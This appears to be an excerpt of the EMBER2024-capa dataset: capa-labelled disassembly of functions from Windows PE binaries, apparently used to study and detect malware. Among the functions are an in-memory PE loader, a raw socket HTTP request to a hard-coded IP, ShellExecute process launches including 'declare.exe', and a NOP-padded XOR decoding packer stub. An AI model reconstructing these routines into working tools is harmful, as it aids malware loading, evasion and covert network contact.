joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f4e0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x30]
mov esi, dword [ecx + eax + 0x20]
sub edx, 1
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [esp + 0x14], esi
mov esi, dword [ecx + 0x10]
test esi, esi
mov dword [esp + 0x18], edx
jne 0x40f526
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x40f51f
mov esi, dword [eax + 0x20]
jmp 0x40f526
test bl, bl
jns 0x40f526
mov esi, dword [eax + 0x24]
mov dword [esp + 0x1c], esi
mov esi, dword [ecx + 0x24]
mov dword [esp + 0x20], esi
mov esi, 1
add ecx, 0x28
cmp word [eax + 6], si
mov dword [esp + 0x24], 0
mov dword [esp + 0x10], esi
jbe 0x40f606
lea ebx, [ecx + 0x24]
mov esi, dword [edi + 0x30]
mov ebp, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
sub esi, 1
not esi
and esi, ebp
test edi, edi
jne 0x40f579
mov ecx, dword [ebx]
test cl, 0x40
je 0x40f572
mov edi, dword [eax + 0x20]
jmp 0x40f579
test cl, cl
jns 0x40f579
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x40f5b2
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
add eax, ecx
cmp eax, esi
ja 0x40f5b2
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x14]
call fcn.0040f440
test eax, eax
je 0x40f627
mov eax, dword [ebx]
mov edx, esi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], eax
jmp 0x40f5de
mov eax, dword [ebx]
test eax, 0x2000000
je 0x40f5cb
test dword [esp + 0x20], 0x2000000
je 0x40f5cb
or dword [esp + 0x20], eax
jmp 0x40f5d8
or eax, dword [esp + 0x20]
and eax, 0xfdffffff
mov dword [esp + 0x20], eax
sub edi, dword [esp + 0x14]
add edi, ebp
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x10]
movzx esi, word [eax + 6]
add ecx, 1
add ebx, 0x28
cmp ecx, esi
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x10], ecx
jl 0x40f552
lea ecx, [esp + 0x14]
mov edx, edi
mov dword [esp + 0x24], 1
call fcn.0040f440
pop edi
neg eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x18
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x40f8d0
Capabilities:
Get system information on windows
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x24
cmp word [eax], 0x5a4d
je 0x40f8ef
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add esp, 0x24
ret
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x40f90b
cmp word [edi + 4], 0x14c
jne 0x40f90b
test byte [edi + 0x38], 1
je 0x40f91d
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop edi
add esp, 0x24
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebp
push 4
push 0x3000
push eax
push ecx
call ebx
mov ebp, eax
test ebp, ebp
jne 0x40f961
mov edx, dword [edi + 0x50]
push 4
push 0x3000
push edx
push eax
call ebx
mov ebp, eax
test ebp, ebp
jne 0x40f961
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x24
ret
push esi
push 0x34
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x40f998
push 0x8000
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x24
ret
mov dword [esi + 4], ebp
movzx eax, word [edi + 0x16]
shr eax, 0xd
lea ecx, [esp + 0x10]
and eax, 1
push ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], 0x40f890
mov dword [esi + 0x20], 0x40f8a0
mov dword [esi + 0x24], 0x40f8c0
mov dword [esi + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edx, dword [esp + 0x14]
push 4
mov dword [esi + 0x30], edx
mov eax, dword [edi + 0x54]
push 0x1000
push eax
push ebp
call ebx
mov ecx, dword [edi + 0x54]
mov edx, dword [esp + 0x38]
push ecx
mov ebx, eax
push edx
push ebx
call fcn.0043a390
mov eax, dword [esp + 0x44]
mov ecx, dword [eax + 0x3c]
push esi
add ebx, ecx
push edi
mov dword [esi], ebx
push eax
mov dword [ebx + 0x34], ebp
call fcn.0040f370
add esp, 0x18
test eax, eax
je 0x40fa78
mov eax, ebp
sub eax, dword [edi + 0x34]
je 0x40fa29
push eax
mov eax, esi
call fcn.0040f680
add esp, 4
mov dword [esi + 0x18], eax
jmp 0x40fa30
mov dword [esi + 0x18], 1
call fcn.0040f710
test eax, eax
je 0x40fa78
push esi
call fcn.0040f4e0
add esp, 4
test eax, eax
je 0x40fa78
mov eax, esi
call fcn.0040f640
test eax, eax
je 0x40fa78
mov edx, dword [esi]
mov eax, dword [edx + 0x28]
test eax, eax
je 0x40faa5
add eax, ebp
cmp dword [esi + 0x14], 0
je 0x40fa98
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x40fa87
push 0x45a
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.0040fbb0
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x24
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x24
ret
mov dword [esi + 0x2c], eax
mov eax, esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x24
ret
mov dword [esi + 0x2c], 0
mov eax, esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x24
ret
Function at 0x4123d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x18
mov eax, dword [0x4616c4]
xor eax, esp
mov dword [esp + 0x10], eax
push ebp
push esi
xor eax, eax
push edi
xor ebp, ebp
push 0x400
mov word [esp + 0x10], bp
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov word [esp + 0x1e], ax
call fcn.00415baa
add esp, 4
push 6
push 1
push 2
mov edi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4124cc
push str.180.149.136.219
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
push 0x10
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4124cc
push ebx
push str.GET__iplookup_iplookup.php_ip_s_HTTP_1.1_r_nHost:_int.dpool.sina.com.cn_r_n_r_n
push edi
call fcn.00431def
mov eax, edi
add esp, 0xc
lea edx, [eax + 1]
jmp 0x412470
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x412470
push 0
sub eax, edx
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x41248e
xor ebp, ebp
jmp 0x4124cc
push 0x400
push 0
push edi
call fcn.00435270
add esp, 0xc
push 0
push 0x400
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x4124b5
xor ebp, ebp
jmp 0x4124cc
push 0x4559f4
push edi
call fcn.00433790
add esp, 8
test eax, eax
je 0x4124cc
mov ebp, 1
push edi
call fcn.00415baf
add esp, 4
cmp esi, 0xffffffff
je 0x4124e1
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.00431de0
add esp, 0x18
ret
Function at 0x4138a0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x44dbfb
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x4616c4]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
mov eax, dword [0x4616c4]
xor eax, esp
push eax
lea eax, [esp + 0x21c]
mov dword fs:[0], eax
call dword [0x462a6c]
push 0x206
lea eax, [esp + 0x16]
push 0
push eax
mov word [esp + 0x1c], 0
call fcn.00435270
add esp, 0xc
lea esi, [esp + 0xc]
call fcn.00411ed0
push 0x208
lea ecx, [esp + 0x14]
push ecx
push 0x455abc
mov dword [esp + 0x230], 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 0x10]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x413930
mov edx, dword [0x455ac4]
mov dword [edi], edx
lea edi, [esp + 0x10]
add edi, 0xfffffffe
jmp 0x413950
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x413950
mov ecx, 8
mov esi, 0x455ac8
push 2
rep movsd dword es:[edi], dword [esi]
push 0x455cd8
lea ecx, [esp + 0x14]
call fcn.0040f2e0
mov eax, dword [esp + 0xc]
push 0
push 0
push eax
lea ecx, [esp + 0x1c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [esp + 0x224], 0xffffffff
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4139be
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x21c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00431de0
add esp, 0x21c
ret
Function at 0x414a50
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x44dea1
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x4616c4]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4616c4]
xor eax, esp
push eax
lea eax, [esp + 0x230]
mov dword fs:[0], eax
xor ebx, ebx
push 0x206
lea eax, [esp + 0x2a]
push ebx
push eax
mov esi, ecx
mov word [esp + 0x30], bx
call fcn.00435270
add esp, 0xc
push esi
lea ecx, [esp + 0x1c]
call fcn.00402ee0
mov dword [esp + 0x238], ebx
call fcn.0041606d
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x414ad2
push 0x80004005
call fcn.00402b10
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x238], 1
call fcn.00414960
test al, al
jne 0x414bf3
push 0x208
lea ecx, [esp + 0x28]
push ecx
push 0x455abc
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 0x24]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x414b13
mov edx, dword [0x455ac4]
lea eax, [esp + 0x18]
push str.declare.exe
push eax
mov dword [edi], edx
call fcn.00402910
add esp, 8
test al, al
je 0x414bdf
call fcn.0040ef30
push 0x10
call fcn.00411d60
mov edi, eax
add esp, 4
add edi, 5
lea ebx, [esp + 0x20]
call fcn.0040f180
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x23c], 2
call fcn.00402d50
mov byte [esp + 0x238], 1
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414b98
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ebp, dword [esp + 0x1c]
mov eax, ebp
mov edx, ebp
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x414ba0
lea edi, [esp + 0x24]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x414bb4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
call fcn.0040edf0
add esp, 4
xor ebx, ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x30]
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x10]
mov byte [esp + 0x238], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414c16
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x238], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414c41
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x230]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.00431de0
add esp, 0x228
ret
Function at 0x416ac4
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x416aed
call fcn.00417e5b
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x416b10
push eax
push dword [esi + 4]
call fcn.00416a4f
push esi
push eax
mov ecx, 0x6f709c
call fcn.00416722
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x419006
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x41904c
call fcn.00417e5b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41904c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x41908f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x419078
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x419078
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41908c
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4221fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x422241
call fcn.00417e5b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x422241
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x42225c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00421db8
test ebx, ebx
mov esi, eax
je 0x42225a
test edi, edi
je 0x42225a
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x422b67
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x422b95
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x422bb3
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00422ad1
jmp 0x422bb3
mov eax, dword [esi + 0x14]
test eax, eax
je 0x422bb3
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00422ad1
test edi, edi
mov eax, edi
jne 0x422b9d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x6f8d40]
test ecx, ecx
je 0x422c76
jmp 0x422b66
ret 8

Function at 0x423bee
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x423bf7
xor eax, eax
jmp 0x423c60
cmp dword [esp + 8], 0
jne 0x423c03
call fcn.00415efb
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.004345b7
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x423c3e
push dword [esi + 0x10]
call fcn.0043754e
test eax, eax
pop ecx
jne 0x423c3e
mov esi, dword [esi + 0xc]
call fcn.00434d48
push esi
push dword [eax]
push 1
call fcn.0042f010
push dword [esi + 0x10]
call fcn.0043757d
test eax, eax
pop ecx
je 0x423c5d
push dword [esi + 0x10]
call fcn.004374a2
push eax
call fcn.004031c0
pop ecx
pop ecx
jmp 0x423c2c
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x423c69
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x423c73
call fcn.00415efb
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.00433d34
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x423ca0
mov esi, dword [esi + 0xc]
call fcn.00434d48
push esi
push dword [eax]
push 1
call fcn.0042f010
pop esi
ret 8

Function at 0x431de0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4616c4]
jne 0x431dea
repz ret
jmp fcn.004395f0

Function at 0x43b060
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x43b08d
call fcn.00434d48
mov dword [eax], esi
call fcn.00434d35
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00432b70
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x43b069
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x43b0bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00434d5b
pop ecx
call fcn.00434d35
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x43b0e3
test al, 1
je 0x43b0e3
test byte [esp + 0xc], 2
je 0x43b0e3
call fcn.00434d48
mov dword [eax], 5
call fcn.00434d35
mov dword [eax], 0xd
jmp 0x43b0b3
xor eax, eax
pop esi
ret
Function at 0x444eb5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00438fd7
xor ebx, ebx
cmp dword [0x6f9b54], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x444f8a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x444ef5
xor eax, eax
jmp 0x44504e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x444eee
push eax
call fcn.00438f74
mov dword [esp], 0x4535a0
push edi
mov dword [0x6f9b54], eax
call esi
push eax
call fcn.00438f74
mov dword [esp], 0x45358c
push edi
mov dword [0x6f9b58], eax
call esi
push eax
call fcn.00438f74
mov dword [0x6f9b5c], eax
lea eax, [ebp - 8]
push eax
call fcn.004340bf
test eax, eax
pop ecx
pop ecx
je 0x444f58
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00432a74
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x444f8a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00438f74
cmp eax, ebx
pop ecx
mov dword [0x6f9b64], eax
je 0x444f8a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00438f74
pop ecx
mov dword [0x6f9b60], eax
mov eax, dword [0x6f9b60]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x445003
cmp dword [0x6f9b64], esi
je 0x445003
push eax
call fcn.00438fe0
pop ecx
call eax
cmp eax, ebx
je 0x444fd0
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x6f9b64]
call fcn.00438fe0
pop ecx
call eax
test eax, eax
je 0x444fd0
test byte [ebp - 0x18], 1
jne 0x445003
lea eax, [ebp - 0xc]
push eax
call fcn.00434132
test eax, eax
pop ecx
je 0x444feb
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00432a74
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x444ffa
or dword [ebp + 0x10], 0x200000
jmp 0x445034
or dword [ebp + 0x10], 0x40000
jmp 0x445034
mov eax, dword [0x6f9b58]
cmp eax, esi
je 0x445034
push eax
call fcn.00438fe0
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x445034
mov eax, dword [0x6f9b5c]
cmp eax, esi
je 0x445034
push dword [ebp - 4]
push eax
call fcn.00438fe0
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x6f9b54]
call fcn.00438fe0
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44bd9a
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4616c4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0044bd2f
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00435270
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x44bde9
cmp dword [ebp - 0x1c], 5
jb 0x44be01
jmp 0x44bdfd
cmp dword [ebp - 0x10], 1
jne 0x44be01
cmp dword [ebp - 0x1c], 4
ja 0x44bdfd
jne 0x44be01
cmp dword [ebp - 0x18], 0
jbe 0x44be01
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x454ee0
call fcn.0044bc20
test eax, eax
jge 0x44be22
mov byte [0x6f9d14], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00431de0
add ebp, 0x78
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x626b22b9
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x47b91ea4
nop
nop
nop
nop
test eax, eax
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219